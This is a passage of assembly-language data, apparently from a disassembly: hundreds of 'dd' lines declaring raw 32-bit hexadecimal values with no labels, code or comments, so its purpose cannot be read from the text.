dd 0E20DEAECh, 48500D8h, 6A15F51Bh, 0C7C459Dh, 6123C101h
dd 804D658Fh, 5DF53084h, 1863861Dh, 5E7C3F06h, 0F0291B3Dh
dd 87E93F74h, 3E78F080h, 76AF72B8h, 0DA2C0B50h, 799CF305h
dd 0C6385D5h, 0C884704h, 307EC018h, 0F01B1F4Ah, 21583F03h
dd 0E81F17A0h, 40B0631Eh, 0C1743DD7h, 0F3DB15E8h, 0E1598518h
dd 7842E899h, 84713FD7h, 0F23BC258h, 0B5F91DAAh, 1DE2FD0Eh
dd 80191967h, 7F72B56Bh, 926FF086h, 0FBEE0CCCh, 0A28B380h
dd 829D900h, 1BF6D88Bh, 8719C181h, 2489F1A4h, 15000AE4h
dd 8F5F7B9Fh, 0E0AEB718h, 1B61499h, 95120C35h, 0FCF5156Ah
dd 6C330200h, 0F69D677Dh, 1EDC4104h, 0E3C34276h, 75191E6Dh
dd 47A1138Eh, 3CF82014h, 4B0A02B1h, 6481EC6Eh, 0B6394474h
dd 1B2ADE70h, 0BC818CF1h, 0B8020909h, 96DF1069h, 0D50780C7h
dd 1419EF06h, 0F8228BE9h, 9E0AFCAh, 5C827F4Fh, 429165Ah
dd 0D44E1748h, 0C1AB7306h, 74073514h, 0A384C88Ch, 0FCE851E4h
dd 0D4C0855h, 0FF98997Ch, 22906046h, 0E75914CFh, 76FF0F64h
dd 4F51D82Bh, 884CED83h, 3FE0C445h, 74648175h, 13DA1122h
dd 408A9449h, 84E0A380h, 8C9C391Bh, 148A8A0Ch, 980B5580h
dd 50C70C18h, 2CE08CA0h, 5504364Ah, 880C710Ah, 28E06566h
dd 7EF495E1h, 20D488EDh, 1D4840E1h, 609291ABh, 8E101912h
dd 286A2832h, 0A3E85180h, 2C0A0C99h, 54168CA8h, 9F1EE909h
dd 2AEB640Ch, 25130A0Eh, 0A2A83292h, 23518028h, 0C61A054h
dd 8C428C5Fh, 519C4D36h, 46A21E62h, 87B1241Bh, 0B89F9A0h
dd 873F6E02h, 14496B19h, 62D84DB2h, 63601A74h, 4250BE61h
dd 9503A577h, 29A50B8Dh, 0B7A8DC51h, 8268C381h, 0D84E7929h
dd 26F930AAh, 4C0ACA58h, 8D52CA4h, 64D723D5h, 0ECD06F99h
dd 10863D18h, 8E00E747h, 772BD150h, 0D47A650Bh, 88107818h
dd 5DC5075h, 5403B388h, 6D9ACD1h, 0A57ED03Dh, 0F93E7025h
dd 417444B0h, 59C029Fh, 3C304D25h, 471AA7BCh, 0A3818718h
dd 6FA158C8h, 0C32DEF23h, 2CE47EC1h, 70F1115Bh, 0A0D9E13Fh
dd 248CCC01h, 0CA0392DCh, 0E6ED4B36h, 0F9D6C849h, 0E461073Eh
dd 406744A7h, 0AD6643E8h, 514DFD00h, 54628489h, 75EC3EEAh
dd 3AF9D400h, 36DFD395h, 0FB9F6100h, 0A7D24C3Dh, 0D8EBE83Bh
dd 4A431128h, 3700D37Ch, 3CE5E850h, 7FAD495h, 0E99F513Ah
dd 0C0E0874Eh, 0ECE76144h, 0CF3C4778h, 0D15202F9h, 5A8B42E8h
dd 7D048DA0h, 47C6BBC0h, 4B49050h, 0EFD58B48h, 0C444F339h
dd 60127ECAh, 0F33DCE54h, 416BB939h, 18A60921h, 97DE0920h
dd 0E02E3CA1h, 22B06499h, 85ABF813h, 76B2F402h, 3D30C0E6h
dd 201A40D9h, 4790DB07h, 71206B04h, 5DDAD5h, 4DEED3A3h
dd 81DE20D0h, 11C96F07h, 72550D45h, 0F8582083h, 5823E65Bh
dd 971A7419h, 0CC60188Ah, 70DFB156h, 20235803h, 0E98106ACh
dd 0D9F53D87h, 0E1814F18h, 0C6DF7F08h, 0C06C47F9h, 7CEE0329h
dd 433DDE00h, 8FFC136Dh, 7193051Fh, 0BE8B440h, 60D7D661h
dd 0E7426885h, 0D8808D57h, 0D60D8068h, 93046A1Bh, 0AF0BA881h
dd 9C28941Bh, 9C83A0D0h, 4A055019h, 0D0722F78h, 44ABD438h
dd 0C226818Ch, 1B5DB54Bh, 4B806930h, 9550C60Fh, 8CA8CD88h
dd 0A01B775h, 80086BD6h, 203977BEh, 1F614100h, 6373DA49h
dd 32EF3F3Eh, 8F998998h, 0D48F848h, 12289376h, 0CC642B55h
dd 1FA35905h, 86197Ah, 77448821h, 0C300801Dh, 0DFB394E2h
dd 0B69F663Eh, 0F9E60334h, 0EAC24836h, 0E15878CCh, 0D4670B50h
dd 81540FE5h, 0B22A59A7h, 14A42D0h, 6883ECE3h, 4C79818Ch
dd 82007244h, 63AF527Ch, 0A6AEFFD2h, 43BA1F04h, 0CAD14E0h
dd 670708D0h, 0C8DFE24Ch, 610A74A3h, 97470830h, 833583C4h
dd 0A9E281C8h, 0E422A09Dh, 29CCD549h, 53941025h, 91D9C808h
dd 30F12B96h, 74598166h, 1110A58Dh, 782B2257h, 88C8CE7h
dd 28285F8h, 4A2D570h, 0E49CDBA5h, 91929282h, 0B2F65A0Ch
dd 6150008Ch, 0CCCBCE36h, 81318028h, 918209C8h, 44842283h
dd 0FC8B8685h, 89918848h, 8B448A22h, 128D898Ch, 486F248Eh
dd 22719170h, 737C72h, 0D9AF3D9Dh, 0CFB54164h, 32F45952h
dd 9698B876h, 4865284h, 89B2AEBh, 0E7BCAD50h, 7F727C01h
dd 0AF749724h, 0F0F09CF1h, 0FE960088h, 7395AEA5h, 7C3AE680h
dd 72F43E5Ch, 970C7F09h, 99C08EECh, 74F1FC40h, 0D002AEFDh
dd 8EA5FD00h, 804E3C95h, 9A924612h, 4D0FF48h, 71B2EAFFh
dd 6D608856h, 11C6B145h, 7CB74369h, 38960729h, 0EC83B756h
dd 110765D7h, 0D9D26386h, 8A8809DCh, 5F041808h, 180377D5h
dd 980A79CEh, 0C8ED26Ch, 880491D4h, 0D9526F21h, 0A6B838h
dd 0B5894B3Fh, 69540B41h, 9960FCF8h, 0F6B06318h, 968302DCh
dd 9B047360h, 0C0EE1C87h, 46721E8Fh, 7152CE7Bh, 53A22F28h
dd 0C33A83E4h, 411857CBh, 19316EBDh, 0DDA600A7h, 227DB93h
dd 0A218BB52h, 0E32186BEh, 22820067h, 1A9E5C8Fh, 500492Fh
dd 43034140h, 334F2CEh, 8E4574ADh, 61009804h, 8BD5435h
dd 0C0EAE4DDh, 791E6A48h, 7A67710Fh, 0EDA0DA10h, 1B9B620h
dd 5EF43BE7h, 0C05360B8h, 0C200716Ah, 86D908DFh, 0C0670589h
dd 0CF174B40h, 70056CBh, 0C909584Ch, 0ECE88074h, 5E74F5h
dd 6CFF5568h, 4A0A5373h
dd 85EA3705h, 90201B86h, 38F2931Dh, 670074BDh, 0AA5C6373h
dd 2F0EE416h, 6422340h, 2F196F4Fh, 0B85AF5A4h, 9A608E70h
dd 0B71D3BE1h, 2A5F726Ah, 0C3E89404h, 0BB67E6D0h, 63CE1100h
dd 92DB87C4h, 0FF5B0F10h, 0C5833960h, 0A6A3EA49h, 6106ED80h
dd 7B599F60h, 16B9A5h, 0E18CA0A7h, 76E5CCE9h, 3ADAD500h
dd 24C32BB6h, 0B4070018h, 713EC183h, 1A00E5A1h, 7C8A9A56h
dd 0BF1F46h, 0B6FB3682h, 0AFE7554Ch, 348D3Ch, 23987DB5h
dd 137475Eh, 367BC027h, 4A88C12Ch, 18B43C14h, 28302629h
dd 8FCB3E22h, 7DB22708h, 2C82CE00h, 87BF0Fh, 1A7FFD31h
dd 8CC9FAEDh, 7E904160h, 0C08D2B32h, 87B62A18h, 0CC062144h
dd 0CBF9418Bh, 7F28CE80h, 86C32E81h, 8EBDD028h, 782B4630h
dd 0C3B32729h, 288DC131h, 2546590Ah, 5D650CCEh, 2D7B8420h
dd 83BE02FDh, 8ECB2C45h, 81C18883h, 805E28B9h, 799B5D29h
dd 78FD57BEh, 9E6A1854h, 1D154952h, 0B6181174h, 13315CBEh
dd 0BF9D019Eh, 0A294203Dh, 0E8198052h, 0AE4A2E86h, 0BE901DA3h
dd 41540351h, 0F2B03E92h, 3A37CE5Ah, 1C5038E7h, 7CB55246h
dd 0BCEB1FBEh, 0D6124E89h, 46276F27h, 0FF1EC9BBh, 0C7803D0Dh
dd 96BD11D0h, 679B7B5Bh, 6863A899h, 0F4BD951Ch, 6D1E4D08h
dd 0F934061Bh, 42EDC855h, 682C3B18h, 8BF817Dh, 31216034h
dd 5B7BB25Fh, 19BCD818h, 0E9511D59h, 33BFB11h, 40084401h
dd 1E4C183Ah, 0DE963844h, 0B8561733h, 159181Dh, 0C3AE81F9h
dd 27A179C6h, 0CF353031h, 3E81A551h, 0A2C84550h, 781C7130h
dd 0F02D55Eh, 0B8203093h, 0DC1485A7h, 0D13327C0h, 0B07F51C2h
dd 3C7A57C9h, 0DB401953h, 0B30E198h, 0D7353012h, 1B18CD3Ah
dd 60FC172Eh, 7BC35219h, 0F3A45355h, 9E12F105h, 0DC1B9911h
dd 44F9E039h, 31436101h, 8A980902h, 4C553918h, 0FD95DE06h
dd 2AC7F6B1h, 18423D1h, 8ED0D6DFh, 109954FAh, 31CDE95Bh
dd 0AD309182h, 9B198A63h, 54284C18h, 8D7AD146h, 81A61E82h
dd 0DDA4905Bh, 0CC648519h, 193ADD31h, 5468B888h, 89900A58h
dd 619F0B07h, 0B5F590BEh, 20CDE8C2h, 0F2DF8491h, 0B79428BFh
dd 5E971050h, 30422DFCh, 1128A98Ah, 424DA86Fh, 44AB8843h
dd 42716A67h, 94558441h, 21D43F48h, 4E444711h, 0F0B5F722h
dd 53460D08h, 0CF2808F5h, 483123D4h, 4109341Ah, 6C34D55Ch
dd 22C045D1h, 491D138Ch, 7B0F3442h, 0D604482h, 5A023C43h
dd 0F28C2161h, 0E3409B04h, 0D267A514h, 9C586364h, 2011514Bh
dd 0D7789F93h, 0C3C14420h, 0D6281404h, 0C20C5B8Ah, 0B853D110h
dd 551E184Ch, 917DD49h, 24D0C6F6h, 0C8D114A4h, 3CAEB338h
dd 0B898E1ECh, 76116960h, 916CD30Bh, 253409E8h, 0A81338B2h
dd 1EF9490Dh, 51E021D3h, 0A46B485Ah, 0D68188F7h, 6E4EB2E2h
dd 91D91080h, 950A7A70h, 0E7EB4B1Eh, 9A896600h, 0B368AAAh
dd 8E5BAF28h, 3479F000h, 591DBFFDh, 7D01DB55h, 6BB12E9Ah
dd 2C43C70h, 9CFD9881h, 0FCC2891Ah, 0B10B1CC0h, 216147E8h
dd 929A7A30h, 0E008E2D3h, 0C310320Ch, 0C22B4240h, 0CC012EE0h
dd 402C8029h, 102E7F3Eh, 0D90730B5h, 26C25E5Dh, 1B04E2B1h
dd 0C9980230h, 0AEFD2887h, 0BD021C90h, 3318820h, 0CC27791Ah
dd 0CAA22B8Eh, 9412609Ah, 87800437h, 88BCFD2Bh, 7FEB1D28h
dd 0CF110A48h, 2C2DE018h, 2F0579B1h, 150C62Bh, 2891C4C1h
dd 28CA2C5Ch, 1FC4368Ch, 3BEBE88Bh, 0B9AB99BAh, 9A1A0038h
dd 94368BF6h, 7CCB261Eh, 14BA2B3Ah, 998040A3h, 0F5EF36B9h
dd 3A867F92h, 287BBCFCh, 3EF8C027h, 794CF28h, 47AB94EDh
dd 6B83AF04h, 0D0970BA2h, 67AB0C8Eh, 7007A17Ch, 0C52B998Bh
dd 0C8FD4141h, 90F53430h, 0E80092DCh, 28F66028h, 36CEBD55h
dd 8F009892h, 4E840F2Ch, 26BFFE99h, 36404781h, 1A0F2850h
dd 13BA2AF7h, 6C002035h, 0B52C3136h, 0CFD1EB90h, 837406A9h
dd 2AEF4C8Fh, 8A9C9048h, 0FC570456h, 309EEB24h, 8ECB2800h
dd 59CE0CF5h, 3A24907Eh, 978CC440h, 0CB3DFE58h, 5407C421h
dd 296A32E8h, 0DD41D062h, 9A85ECE6h, 28402362h, 0F5C0612Dh
dd 779B6D0h, 87C4BA41h, 89B54746h, 25678C00h, 0C805FE9Ah
dd 0CF212F81h, 0C1F97081h, 12DFFC30h, 1453ACEh, 2E3285A0h
dd 2241E0CFh, 213760C1h, 588F8BC0h, 0FDE181C1h, 862D8E7Dh
dd 27423A40h, 0C89A6F08h, 0B507340Fh, 87304C88h, 782BF53Ah
dd 2881A1C7h, 2C8CCDC0h, 79C00A1Fh, 4898E82Eh, 0A5567D04h
dd 0CE2607F8h, 0D8BA857Dh, 0F05EFD4h, 0FDF57EC6h, 0F048608Ch
dd 83BD0104h, 8DCEBA36h, 49B8272Bh, 3D90C218h, 32F041FEh
dd 0FE881C30h, 9087E82Eh, 3ACB0FE8h, 3098119Bh, 8258C227h
dd 8A3C7879h, 8CB3072Bh, 603A259Ah, 505F0423h, 7D2CAEEBh
dd 9685C498h, 0B485B328h, 0E461DC13h, 0C36BEBAh, 3AB0FB01h
dd 60B22A46h, 0A0B0FDDCh, 28DF9B74h, 0C42C2B1Eh, 0BA1C0349h
dd 0CE0916BCh, 0E4C45587h, 0E650CFCDh, 68C4C0C8h, 2041812Eh
dd 2D2C7104h, 7C3610C3h, 3A277869h, 0CF2E297Bh, 28874220h
dd 3C902C96h, 0A7807E6Fh, 863979C2h, 1589134h, 27983AC0h
dd 0F3468AC9h, 0C3EFB005h, 18346C68h, 9B0F5081h, 0E4BF3836h
dd 2BE047Ah, 9948B9F6h, 3C84D907h, 0B2124708h, 0A78B7078h
dd 93A54518h, 47E9C2C8h, 3C2071FDh, 0B07FA50h, 122D6BB1h
dd 0D8C07EC2h, 64BA6ACCh, 0FD298105h, 40567DB2h, 5010F8CDh
dd 74ADD8F5h, 0BFDC1761h, 8F20418Ch, 70CA212Dh, 0C54FFC38h
dd 82BE440Eh, 79CC2732h, 0D498273Ch, 2EE85F5Eh, 47889100h
dd 2F87C021h, 2EB17825h, 28CF041h, 86AFF932h, 6A9C90E0h
dd 907C9274h, 4450C082h, 21B56722h, 2C41F0B0h, 21E87BBDh
dd 5049CB4Fh, 1BC86C7Dh, 682A8D1Ah, 70A8DB89h, 80A1F9E0h
dd 0B2344B2Bh, 5FEC5879h, 2F507441h, 0CB268234h, 8F90FB8Bh
dd 7E8AF98Dh, 598E3BF0h, 5DE301A5h, 8CE02C2Bh, 0B6370EF5h
dd 3D102181h, 7479C02Eh, 0C8B55098h, 82C135BAh, 13E0A390h
dd 80840755h, 102F3835h, 0F9816BCFh, 0BE888EBFh, 0B3225E8h
dd 0A160E3B0h, 1C212C96h, 82C2DC00h, 48266332h, 8CC11236h
dd 1C203A9Ah, 942D8E7Eh, 4A9AE5E0h, 2180DBC4h, 0B903098Ch
dd 1F03F8CCh, 0BA3188B5h, 88D867ADh, 3ADCFA8Bh, 0CADAF509h
dd 86405C0Ch, 4C042AF1h, 4C72398h, 80000985h, 46B12B9Ah
dd 0BEC52853h, 0F02E54B0h, 88B405BAh, 0F39E2737h, 28E830DCh
dd 0C8B3BA2Eh, 0AA3AC1E9h, 0DCA6587Eh, 0AC5C9E25h, 2D2C3060h
dd 0D41846C5h, 45248ABCh, 9A144426h, 6499D2F4h, 2C09F03Dh
dd 30E17ECCh, 0B4EFF079h, 2D418C0Ch, 0D004E8BDh, 0CC26F0C0h
dd 5F182E20h, 2B424F5h, 79C32E37h, 6FB9DC60h, 0B1283201h
dd 0C85DD11Ah, 60A28BD0h, 717D314Fh, 0D403F0F8h, 0DC9DF166h
dd 7908305Eh, 0F8699C21h, 0C98B9E00h, 0A5FA0CF0h, 0D4F6D8h
dd 3DE3459Dh, 38FD520h, 18E1A400h, 4354FA7Eh, 5585061Eh
dd 0A11C35EFh, 5B9C3A00h, 0BE38A1BBh, 0C2994F51h, 187EF670h
dd 405BA480h, 1EC00Ch, 0B1621013h, 16A94E64h, 59270400h
dd 0C7CD877h, 1FB6008Fh, 0AD36D92Ah, 71033846h, 0FC7F35FDh
dd 5B578078h, 0EC440003h, 1774D82h, 0ED7BB63Ch, 0C1FD7B00h
dd 0A41E5EDAh, 5906007Ch, 34E1489h, 0D50348ABh, 2F12A755h
dd 7B2001FDh, 0CCC85371h, 11204EB5h, 96800F94h, 93FDE5B5h
dd 6D603Ah, 1A9B5844h
dd 6F2B4E7h, 0FA5BE039h, 80600841h, 0E752B021h, 0EE6E038Eh
dd 1D500F2Fh, 0BDF49F80h, 5317BF0Ch, 7B2809h, 963B74B0h
dd 0C92CA16h, 0B1B9EE2h, 9AB82B4Dh, 41702204h, 29C19082h
dd 0CB893020h, 2450C44Eh, 0C88843FEh, 43E0C05Bh, 573D1555h
dd 87881C8Ch, 0F306C1Bh, 0B11703B0h, 0BA403ACEh, 7DC3B0F7h
dd 88F11506h, 1D294085h, 2A617C6Bh, 715401C0h, 69F52C03h
dd 0A9D89DB2h, 0C93D49C2h, 74DC8283h, 72EB237Eh, 7B1B68B0h
dd 5843DD01h, 0C9940EDFh, 884438A1h, 1CC87234h, 230A0CC4h
dd 22D84278h, 52D730h, 8E8A1ECDh, 53C74467h, 1D31FF60h
dd 0EC31991h, 6F7C7784h, 11087F4Ch, 793C21C1h, 0F9F8F719h
dd 98FA1839h, 6887F08Dh, 88A6AF36h, 2EB82810h, 0D46957CEh
dd 1A35F2B1h, 99115A8Fh, 8C18C8E0h, 84C41908h, 4016C47Fh
dd 9D19943Dh, 0C7930FEBh, 63E7A131h, 8018E4F3h, 0D3B03D9h
dd 77E4238h, 22BE056Bh, 27E5CBE1h, 0AFE48980h, 9BC1563Ch
dd 0A9018F19h, 21805009h, 803CC884h, 0EB2802C2h, 9C0D8C13h
dd 60829DB8h, 20128052h, 0D40CD797h, 0F4765Ch, 0DD6BA071h
dd 31B920DCh, 5AF88982h, 270420CDh, 48DE7244h, 37A2EC04h
dd 10038601h, 82C44AE6h, 300EFEE8h, 473002BFh, 84CB382Bh
dd 922632C0h, 4840B558h, 6B054DC4h, 6FC6D525h, 0AC87F820h
dd 0F05099D8h, 0C28F7D14h, 177D14h, 3AE864A9h, 532086B6h
dd 0A87B0007h, 0A54C32CFh, 0F700042Fh, 234FE243h, 28290C5Ch
dd 0CC454A1h, 0A8348893h, 0DB5106C0h, 0CC6881DAh, 6EE77084h
dd 0BE08040h, 0EEF1141Bh, 0C980DC52h, 0DA11827Ch, 6C2A0501h
dd 8510343Fh, 9B4CDCh, 78A02B5Fh, 63FB7AA4h, 0ABDAB807h
dd 602C7B2Ah, 0AA0A12DBh, 166C435Ah, 71DB6ED4h, 8AE880D0h
dd 418990CEh, 37F1F5EFh, 0A8BD0AF4h, 14FF4488h, 0C43A30FEh
dd 0E214BA0Fh, 889C4D84h, 0C3007894h, 0AFFF8CBEh, 0CCD74021h
dd 98217009h, 1DBECB0Eh, 0C7CE01D0h, 18248C5Eh, 0CFC00A9h
dd 8FF351B6h, 6C01084Eh, 0EC325090h, 80EC0348h, 0A07765D4h
dd 0C948009Ch, 0EC83013Eh, 0B1868107h, 8C5331AEh, 9328327Dh
dd 0C4304EA0h, 0FF8F11BEh, 878C88D7h, 0DFBECC99h, 0D6966AE0h
dd 6502E212h, 8D6FCA46h, 35A498AEh, 23D20174h, 4FC088E1h
dd 5FD841A3h, 25D18E6Fh, 3A21207Dh, 14FF14BBh, 9C479506h
dd 40FE7C50h, 0FA00DEACh, 74E1EEE4h, 915A5488h, 24BC4008h
dd 7040A375h, 0C31D0012h, 25D39027h, 38280834h, 44938468h
dd 0C5198F01h, 15188784h, 773E88h, 88682F19h, 75BB0AE7h
dd 60A85734h, 0C04C9808h, 0FF91BEC2h, 7322C746h, 0BECA970Eh
dd 0D04740EEh, 0E20BBA5h, 38F6810Eh, 0E3944242h, 602390B3h
dd 0BED80152h, 18F7FF8Bh, 0C0BD886Eh, 7EB7BE00h, 5ED08541h
dd 1C0C9A84h, 0E4D8E537h, 3BA4A044h, 0F284A1CCh, 1726080h
dd 0D098594h, 38E4F98Ch, 1900E379h, 1B63A4F0h, 18AAB15h
dd 91B02377h, 583856D8h, 6504C7C0h, 0D55573A1h, 4C60A499h
dd 54048C79h, 49F2AEE7h, 0BA219662h, 0B3E8E74Ch, 235A014Dh
dd 5916C969h, 0D79058DAh, 564C4806h, 48D895BBh, 18107C54h
dd 476B0F75h, 3E1B23F7h, 4343F2EFh, 14829D28h, 3CB230BEh
dd 0E3C11911h, 85804F88h, 87083CCBh, 7F270036h, 5DA35F76h
dd 0BE33DABFh, 90D1E010h, 0F8260913h, 718C001Ch, 0FAC7729Bh
dd 400D5EAh, 55926C6Fh, 0A2DBFD1Fh, 0CB8861C4h, 19088D18h
dd 0CE1784D7h, 954000F1h, 6DDF8619h, 573F01BBh, 0D516FEADh
dd 8CD8A33Ch, 0F0216017h, 0FEEC3BACh, 14000A0h, 0F78A3802h
dd 46280A1Ch, 0B5018BB8h, 90F4BD52h, 9C46A608h, 0E54C2CA8h
dd 0ED204E94h, 7C39AA04h, 0ACD63401h, 4D996181h, 121E7C0h
dd 96A1AE63h, 4C8EDABCh, 48C77F8h, 0F2B0E756h, 0C044A219h
dd 14E74EBCh, 5F6F045Dh, 989F32D8h, 0F498B02Ch, 1FAD1722h
dd 833BB14Dh, 7A2C88F5h, 0D824B800h, 0B6B55357h, 29B11878h
dd 107218A5h, 697E4E13h, 21B0D461h, 39E991h, 0A58DDB83h
dd 876953h, 9B5AD0C5h, 20B20B88h, 38ECB448h, 0B84D28EEh
dd 0FEB88608h, 3302B8Ah, 725EB542h, 7BD939h, 0B4D17E26h
dd 11F691Ch, 0F2B7A7CEh, 747859B0h, 18A00264h, 0B12CB87Ch
dd 18AB2C9Eh, 6A0D572Ch, 64097090h, 1588244Eh, 5D1CABC0h
dd 9CED48B4h, 0C9D6121Dh, 882EBC4h, 940A70B8h, 0AE80CA11h
dd 0C3C1553Ch, 694D448Ch, 513CC712h, 0EFD5FB00h, 0C636F03h
dd 715F88D1h, 930260E1h, 62BBA90Ch, 4C3C212h, 3888E44Ch
dd 88350E74h, 7006DD2h, 0EDBB2F2Eh, 3F165E01h, 915254Fh
dd 1026E9FDh, 0BC0AE00Bh, 36817410h, 90E67528h, 1FC76501h
dd 54B1EF01h, 0C8F3F2D7h, 8856A7D4h, 860536Bh, 0DA621E89h
dd 423E02ADh, 514A7525h, 0CD24B8B0h, 0B0143A4Ah, 23284C20h
dd 198E01AEh, 182F84DAh, 96438818h, 0BCD01900h, 0C45CFB9Ch
dd 714F0193h, 0DF0ABF0Eh, 0F4D08226h, 8B6F1478h, 0FAAC02C4h
dd 0A530315h, 9B8B4900h, 0F1D0A8C0h, 0BA701F8h, 0E5D4F7B9h
dd 0F6A45041h, 9D00CB1Eh, 7FEDE1DFh, 122DE61h, 0D8B23ED5h
dd 64AEC5C3h, 0D890BD94h, 1B029646h, 71F2B5E7h, 0B1108131h
dd 0FF00E753h, 4E1CD863h, 16C32676h, 604F7BE1h, 92BED558h
dd 0C0BFFF21h, 81BEBD9Ah, 0BADDFC16h, 22C9AC30h, 944800A7h
dd 0DABD1A83h, 2C993563h, 815FC63Dh, 4841F2FBh, 0BB888254h
dd 57E71C4Dh, 6395000Eh, 536D1EDCh, 4AE0A956h, 0A000BC6Ah
dd 0C32DBF53h, 2491C20Ah, 40044F16h, 0BF019FC8h, 0AC2FCB12h
dd 67C2B4B8h, 0E4E45Fh, 0C54715B1h, 142B5E9Ah, 30134D00h
dd 0C462C21Eh, 0B9D43B69h, 7E380682h, 6C6CB29Ch, 9F12C10Ch
dd 14066011h, 0C8EAB81h, 28D710h, 826BCE78h, 9E0999Fh
dd 0DE44EEFEh, 0C4D56424h, 24608A70h, 0C011FC40h, 1B3CB480h
dd 448CD3C1h, 0AD008348h, 2ACEBE3Ch, 1D24B22h, 0BF6620A3h
dd 80244302h, 2164D388h, 172709EAh, 4298376Dh, 0E518FF4Ch
dd 569002Ah, 6C8BB9FEh, 1EF8508h, 5904BC2Ch, 60C7C353h
dd 26F738C1h, 0C07CE0FAh, 5F944052h, 0A7B48754h, 3663800h
dd 5571F40Ah, 0AFA43C2Dh, 0CE849CA4h, 0EC90F2E2h, 0BC1C88E8h
dd 6CF06702h, 0ECC441D8h, 0B7D10568h, 60073870h, 31AEF2BCh
dd 0F7808084h, 0AC40821Fh, 9C80766Ch, 7189284h, 0A65C0DDAh
dd 0A34707Eh, 37003382h, 51EE9EB5h, 28165791h, 8490DD3Dh
dd 10994C54h, 50576010h, 1400734h, 82A209D3h, 544E3BCEh
dd 0D9025346h, 0DFFF8EBEh, 0E7176D31h, 1FFA20C1h, 0B8489811h
dd 452C5C0h, 4C71C040h, 3BCC4387h, 68275497h, 1311F017h
dd 6287FA82h, 29B4ACC0h, 9C4B980h, 7052F12h, 0C00AE881h
dd 5C94383Ch, 8C70BC88h, 4ACC7D00h, 16569CD3h, 0E0375875h
dd 12A9AE84h, 41A2F002h, 64A8C739h, 0C2096016h, 3B04016Bh
dd 7361A53Eh, 28A2CDB8h, 0FEFF1EACh, 67784F18h, 3DD1FC29h
dd 368A9986h, 13F0D76Dh, 0E460C15Ch, 0F7AB133Fh, 1B47EC00h
dd 633800D9h, 2457EAAFh, 0EF0FF4DEh, 0CABB1626h, 86028C89h
dd 686D56D0h, 60A0FF6Ch, 107A7052h, 63048135h, 5B30AC1h
dd 4F444888h, 34A44074h, 4AD6AB68h, 0BE08209h, 97C824DFh
dd 84F02707h, 85C4B4D5h, 0BFF82004h, 3EC1D217h, 7C3CF2ABh
dd 738651A8h, 8810834Bh, 0BD3B77B0h, 979CD80h, 8FCF787Dh
dd 0C85C3DFBh, 0E1202180h
dd 0C0AB4CAh, 0FB861FC1h, 0C48844B1h, 89ECF4A7h, 3F4E8120h
dd 18499CFDh, 695D4D00h, 0F98575DDh, 22828D0Eh, 7A83A2D7h
dd 0A867C00Bh, 3212F234h, 0C2D8187Bh, 5224A4CEh, 23870C06h
dd 0EC80EA85h, 2616F6Dh, 344CE966h, 0B065218Fh, 69604FE4h
dd 0E70EB723h, 1193549h, 95777085h, 2C3A78A5h, 13C46865h
dd 0BDE62C60h, 6431024Fh, 12125AA9h, 0C42767E0h, 0B49E6C98h
dd 1D55465Eh, 0E02C54E7h, 0BE9C9511h, 69F2B289h, 0AE880C65h
dd 0C7E50050h, 0F68D78Dh, 0B81BCB0Bh, 857490E4h, 0AE7D0780h
dd 0A619F549h, 0E524C8EDh, 303AE83Dh, 8576293Bh, 0AF300DEh
dd 8AA1BF9h, 61002A9Dh, 0BF4D915h, 79DC0EECh, 9B981EA4h
dd 0D63B8785h, 4093A384h, 0D82333C0h, 0F6F860F0h, 969D5F07h
dd 3F91315Dh, 89B4955h, 880021F0h, 9EBE799Dh, 0E93238h
dd 6174171Eh, 89C631F3h, 1C6BAD00h, 0E4192ADCh, 0E65B003Bh
dd 0E5D5D40Fh, 980075CEh, 86140C0h, 73B746C9h, 2B3B0C8Ah
dd 80995DADh, 6297980Fh, 88FAE1E7h, 8987FDFh, 90212171h
dd 72429700h, 0C7257550h, 6018C04Bh, 0AB1F35C6h, 0D2EA9600h
dd 0AE7C6CD1h, 15A62819h, 5D481884h, 6DD6C88Bh, 812E313h
dd 889A6B00h, 3B3DDA1h, 0BE698ADAh, 28188522h, 2A3194BDh
dd 150600A1h, 995AB818h, 8DF87BA8h, 0E0981409h, 464F06A9h
dd 0B6F80089h, 0E82EA374h, 0B50E4834h, 41856F7Fh, 495D089Bh
dd 0D15FF899h, 3900E3C8h, 0AA4A3348h, 6FE7BBh, 7A53DF54h
dd 6C4C0AD4h, 0F5F61314h, 57951CE4h, 0B6660C3Dh, 6059388Ah
dd 1C05A925h, 0D8DEE4B7h, 2E07E306h, 0BEE70A69h, 33C08BE1h
dd 219C0840h, 2E13455Ah, 86BE8EC0h, 606411CFh, 4D0C31FCh
dd 3DA195Fh, 809F0825h, 0FC334721h, 0CD9535h, 0E3E1CA4Fh
dd 0E6F6D422h, 519C0839h, 8969B1BBh, 0F18045C7h, 32C6C3BCh
dd 0A50171D5h, 2BC00B89h, 787114ECh, 44C4CF2h, 5D999D62h
dd 20EC6239h, 469D5B1Ch, 0E7514D03h, 47009D6h, 54105FE8h
dd 0FCD2005Ch, 31E491DAh, 0A138DB33h, 0A2E6E455h, 5110CCA0h
dd 4CA154A4h, 1C941827h, 0E3E75E97h, 0D587411h, 0E0340E7Dh
dd 0BDC7A8F6h, 0E391C140h, 37F1833Ah, 0E638089Dh, 0A5213E68h
dd 30235326h, 0C62D5B21h, 22C23701h, 1ABA6469h, 21570898h
dd 0C603257Ah, 7BF47586h, 2B78A042h, 0C5F1003Bh, 0BA94E22Dh
dd 0EE51D9A6h, 28017A9h, 0EB006F34h, 0C77CCEBEh, 0F2318818h
dd 0A0A0DA22h, 0F6B191B3h, 0DBF45E00h, 0DCD5D39Ah, 83DA30A3h
dd 52CF5620h, 61BA98A0h, 20105072h, 7D06498Ch, 588599F6h
dd 1C0E2704h, 5480E85Ah, 3092A738h, 44C141E5h, 76031469h
dd 0E40FDC1Bh, 81289666h, 30185684h, 0C236C608h, 4055C42Ah
dd 0A8C6287Dh, 6EFE004Ah, 91FD18E6h, 26020D11h, 340AE52Bh
dd 442C6755h, 67776074h, 9C7931BEh, 2492BDD0h, 6A004808h
dd 318E7D2h, 2B03631h, 25A770D4h, 6860A88Eh, 988342E5h
dd 641728F5h, 605AD831h, 233AC634h, 4E114AC2h, 0C62C8100h
dd 2BC9E3F0h, 8276DF7Fh, 85BADCA3h, 4E92843h, 0E5B18363h
dd 7C6F7DF6h, 0D8011DA8h, 65060C8Bh, 0F2014221h, 0CED9F7B5h
dd 28809D55h, 0BC36BD28h, 90A1919Ah, 8921825h, 87E75C97h
dd 1F407CC4h, 0D0CB978Ah, 3C3AB003h, 0D8D375F3h, 263E3B47h
dd 9A206105h, 2441F85Dh, 0BBD994A3h, 3B321090h, 6A383007h
dd 400594Ch, 0DDA0E40Bh, 11D5898h, 18305C5Ah, 1C04849h
